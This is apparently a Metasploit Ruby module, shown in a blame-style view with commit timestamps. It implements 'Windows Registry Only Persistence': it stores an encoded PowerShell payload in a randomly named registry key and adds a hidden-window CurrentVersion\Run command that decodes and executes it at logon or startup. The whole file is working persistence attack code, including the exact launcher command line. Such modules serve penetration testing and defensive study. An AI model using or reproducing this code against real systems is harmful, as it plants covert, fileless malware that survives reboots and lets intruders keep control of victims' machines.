2015-07-01 10:26:46 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/exploit/powershell'
|
|
|
|
require 'msf/core/post/file'
|
|
|
|
|
2016-03-07 19:19:48 +00:00
|
|
|
class Metasploit4 < Msf::Exploit::Local
|
2015-07-01 14:09:55 +00:00
|
|
|
Rank = ExcellentRanking
|
2015-07-01 10:26:46 +00:00
|
|
|
|
2015-07-01 14:09:55 +00:00
|
|
|
include Msf::Exploit::Powershell
|
|
|
|
include Msf::Post::Windows::Registry
|
|
|
|
include Msf::Post::File
|
2015-07-01 10:26:46 +00:00
|
|
|
|
2015-07-01 14:09:55 +00:00
|
|
|
def initialize(info = {})
|
2015-07-01 10:26:46 +00:00
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows Registry Only Persistence',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will install a payload that is executed during boot.
|
|
|
|
It will be executed either at user logon or system startup via the registry
|
|
|
|
value in "CurrentVersion\Run" (depending on privilege and selected method).
|
|
|
|
The payload will be installed completely in registry.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Donny Maasland <donny.maasland[at]fox-it.com>',
|
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
2015-07-01 14:09:55 +00:00
|
|
|
'SessionTypes' => [ 'meterpreter', 'cmd' ],
|
2015-07-01 15:51:57 +00:00
|
|
|
'Targets' =>
|
2015-07-01 10:26:46 +00:00
|
|
|
[
|
2015-07-01 14:09:55 +00:00
|
|
|
[ 'Automatic', { } ]
|
2015-07-01 10:26:46 +00:00
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => "Jul 1 2015",
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'DisablePayloadHandler' => 'true'
|
|
|
|
}
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptEnum.new('STARTUP',
|
|
|
|
[true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
|
|
|
|
OptString.new('BLOB_REG_KEY',
|
|
|
|
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
|
|
|
|
OptString.new('BLOB_REG_NAME',
|
|
|
|
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
|
|
|
|
OptString.new('RUN_NAME',
|
|
|
|
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
|
2015-07-01 15:06:16 +00:00
|
|
|
OptBool.new('CREATE_RC',
|
|
|
|
[false, 'Create a resource file for cleanup', true]),
|
2015-11-18 16:13:18 +00:00
|
|
|
OptInt.new('SLEEP_TIME',
|
2015-11-18 11:17:57 +00:00
|
|
|
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
|
2015-07-01 10:26:46 +00:00
|
|
|
], self.class)
|
2015-07-01 14:09:55 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def generate_payload_blob
|
|
|
|
opts = {
|
|
|
|
use_single_quotes: true,
|
|
|
|
encode_final_payload: true,
|
|
|
|
}
|
|
|
|
blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]
|
|
|
|
return blob
|
|
|
|
end
|
|
|
|
|
2015-07-01 14:15:13 +00:00
|
|
|
def generate_cmd(root_path, blob_key_name, blob_key_reg)
|
2015-11-18 21:25:18 +00:00
|
|
|
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
|
2015-07-01 14:09:55 +00:00
|
|
|
return cmd
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate_blob_reg
|
|
|
|
blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
|
|
|
|
blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
|
|
|
|
return blob_reg_key, blob_reg_name
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate_cmd_reg
|
|
|
|
cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
|
|
|
|
return cmd_reg
|
|
|
|
end
|
|
|
|
|
|
|
|
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
|
|
|
|
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
|
2015-07-01 14:45:03 +00:00
|
|
|
new_key = false
|
2015-07-01 14:09:55 +00:00
|
|
|
if not registry_enumkeys(blob_reg_key)
|
|
|
|
unless registry_createkey(blob_reg_key)
|
|
|
|
fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
|
|
|
|
end
|
2015-07-01 14:15:13 +00:00
|
|
|
print_good("Created registry key #{blob_reg_key}")
|
2015-07-01 14:45:03 +00:00
|
|
|
new_key = true
|
2015-07-01 10:26:46 +00:00
|
|
|
end
|
|
|
|
|
2015-07-01 14:09:55 +00:00
|
|
|
unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
|
|
|
|
fail_with(Failure::Unknown,'Failed to open the registry key for writing')
|
2015-07-01 10:26:46 +00:00
|
|
|
end
|
2015-07-01 14:09:55 +00:00
|
|
|
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
|
2015-07-01 14:45:03 +00:00
|
|
|
return new_key
|
2015-07-01 14:09:55 +00:00
|
|
|
end
|
2015-07-01 10:26:46 +00:00
|
|
|
|
2015-07-01 14:09:55 +00:00
|
|
|
def install_cmd(cmd, cmd_reg, root_path)
|
|
|
|
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ')
|
|
|
|
fail_with(Failure::Unknown,'Could not install run key')
|
2015-07-01 10:26:46 +00:00
|
|
|
end
|
2015-07-01 14:09:55 +00:00
|
|
|
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}")
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_root_path
|
|
|
|
if datastore['STARTUP'] == 'USER'
|
|
|
|
root_path = 'HKCU'
|
|
|
|
else
|
|
|
|
root_path = 'HKLM'
|
2015-07-01 10:47:10 +00:00
|
|
|
end
|
2015-07-01 14:09:55 +00:00
|
|
|
return root_path
|
|
|
|
end
|
|
|
|
|
|
|
|
def log_file(log_path = nil) # Thanks Meatballs for this
|
|
|
|
# Get hostname
|
|
|
|
host = session.session_host
|
|
|
|
|
|
|
|
# Create Filename info to be appended to downloaded files
|
|
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
|
|
|
|
|
|
# Create a directory for the logs
|
|
|
|
if log_path
|
|
|
|
logs = ::File.join(log_path, 'logs', 'persistence',
|
|
|
|
Rex::FileUtils.clean_path(host + filenameinfo))
|
|
|
|
else
|
|
|
|
logs = ::File.join(Msf::Config.log_directory, 'persistence',
|
|
|
|
Rex::FileUtils.clean_path(host + filenameinfo))
|
2015-07-01 10:47:10 +00:00
|
|
|
end
|
2015-07-01 10:26:46 +00:00
|
|
|
|
2015-07-01 14:09:55 +00:00
|
|
|
# Create the log directory
|
|
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
|
|
|
|
# logfile name
|
|
|
|
logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
|
|
|
|
logfile
|
|
|
|
end
|
|
|
|
|
2015-07-01 14:45:03 +00:00
|
|
|
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
|
2015-07-01 14:09:55 +00:00
|
|
|
clean_rc = log_file()
|
|
|
|
@clean_up_rc = ""
|
2015-07-01 14:45:03 +00:00
|
|
|
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
|
|
|
|
if new_key
|
|
|
|
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
|
|
|
|
end
|
2015-07-01 14:09:55 +00:00
|
|
|
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
|
|
|
|
file_local_write(clean_rc, @clean_up_rc)
|
|
|
|
print_status("Clean up Meterpreter RC file: #{clean_rc}")
|
|
|
|
|
|
|
|
report_note(:host => session.session_host,
|
|
|
|
type: 'host.persistance.cleanup',
|
|
|
|
data: {
|
|
|
|
local_id: session.sid,
|
|
|
|
stype: session.type,
|
|
|
|
desc: session.info,
|
|
|
|
platform: session.platform,
|
|
|
|
via_payload: session.via_payload,
|
|
|
|
via_exploit: session.via_exploit,
|
|
|
|
created_at: Time.now.utc,
|
|
|
|
commands: @clean_up_rc
|
|
|
|
}
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
2015-07-02 08:54:44 +00:00
|
|
|
def check
|
|
|
|
unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
|
|
|
|
return Msf::Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
return Msf::Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
|
2015-07-01 14:09:55 +00:00
|
|
|
def exploit
|
2015-07-02 08:54:44 +00:00
|
|
|
unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
|
|
|
|
print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
|
|
|
|
end
|
|
|
|
|
2015-07-01 14:09:55 +00:00
|
|
|
print_status('Generating payload blob..')
|
|
|
|
blob = generate_payload_blob
|
|
|
|
print_good("Generated payload, #{blob.length} bytes")
|
|
|
|
|
|
|
|
root_path = get_root_path
|
|
|
|
print_status("Root path is #{root_path}")
|
|
|
|
|
|
|
|
blob_reg_key, blob_reg_name = generate_blob_reg
|
|
|
|
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
|
|
|
|
cmd_reg = generate_cmd_reg
|
|
|
|
|
|
|
|
print_status('Installing payload blob..')
|
2015-07-01 14:45:03 +00:00
|
|
|
new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)
|
2015-07-01 14:09:55 +00:00
|
|
|
|
|
|
|
print_status('Installing run key')
|
|
|
|
install_cmd(cmd, cmd_reg, root_path)
|
|
|
|
|
2015-07-01 15:06:16 +00:00
|
|
|
if datastore['CREATE_RC']
|
|
|
|
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
|
|
|
|
end
|
2015-07-01 14:09:55 +00:00
|
|
|
end
|
|
|
|
end
|
2015-07-01 10:50:34 +00:00
|
|
|
|